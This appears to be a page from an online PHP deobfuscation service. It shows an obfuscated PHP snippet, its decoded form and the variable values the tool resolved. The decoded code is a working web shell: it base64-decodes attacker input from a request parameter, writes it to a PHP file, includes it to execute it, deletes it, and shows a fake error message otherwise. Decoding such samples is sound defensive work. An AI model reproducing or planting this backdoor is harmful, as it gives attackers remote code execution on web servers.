Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (isset($_REQUEST[chr(100) . chr(49) ])) { $a = chr(109) . chr(110); ..

Decoded Output download

<?      if (isset($_REQUEST[chr(100) . chr(49) ])) { 
        $a = chr(109) . chr(110); 
        $n1 = chr(102) . chr(105) . chr(108) . chr(101) . chr(95); 
        $n2 = chr(112) . chr(117) . chr(116) . chr(95); 
        $n3 = $n1 . $n2 . chr(99) . chr(111) . chr(110) . chr(116) . chr(101) . chr(110) . chr(116) . chr(115); 
        $b1 = chr(100) . chr(101) . chr(99) . chr(111) . chr(100) . chr(101); 
        $b2 = chr(98) . chr(97) . chr(115) . chr(101) . chr(54) . chr(52) . chr(95) . $b1; 
        $z1 = chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32); 
        $z2 = $z1 . $b2($_REQUEST[chr(100) . chr(49) ]); 
        $z3 = $b2($_REQUEST[chr(100) . chr(49) ]); 
        @$n3($a, $z2); 
        @include ($a); 
        @unlink($a); 
        $a = chr(47) . chr(116) . chr(109) . chr(112) . chr(47) . $a; 
        @$n3($a, $z2); 
        @include ($a); 
        @unlink($a); 
        die(); 
    } else { 
        echo base64_decode("bG9jYWwtZXJyb3ItcHRlYXNlLWZpeA=="); 
        die(); 
    } ?>

Did this file decode correctly?

Original Code

    if (isset($_REQUEST[chr(100) . chr(49) ])) {
        $a = chr(109) . chr(110);
        $n1 = chr(102) . chr(105) . chr(108) . chr(101) . chr(95);
        $n2 = chr(112) . chr(117) . chr(116) . chr(95);
        $n3 = $n1 . $n2 . chr(99) . chr(111) . chr(110) . chr(116) . chr(101) . chr(110) . chr(116) . chr(115);
        $b1 = chr(100) . chr(101) . chr(99) . chr(111) . chr(100) . chr(101);
        $b2 = chr(98) . chr(97) . chr(115) . chr(101) . chr(54) . chr(52) . chr(95) . $b1;
        $z1 = chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32);
        $z2 = $z1 . $b2($_REQUEST[chr(100) . chr(49) ]);
        $z3 = $b2($_REQUEST[chr(100) . chr(49) ]);
        @$n3($a, $z2);
        @include ($a);
        @unlink($a);
        $a = chr(47) . chr(116) . chr(109) . chr(112) . chr(47) . $a;
        @$n3($a, $z2);
        @include ($a);
        @unlink($a);
        die();
    } else {
        echo base64_decode("bG9jYWwtZXJyb3ItcHRlYXNlLWZpeA==");
        die();
    }

Function Calls

chr 42
base64_decode 1

Variables

$a mn
$b1 decode
$b2 base64_decode
$n1 file_
$n2 put_
$n3 file_put_contents
$z1 <?php

Stats

MD5 b289f246cceb951c12882ede05d080bc
Eval Count 0
Decode Time 161 ms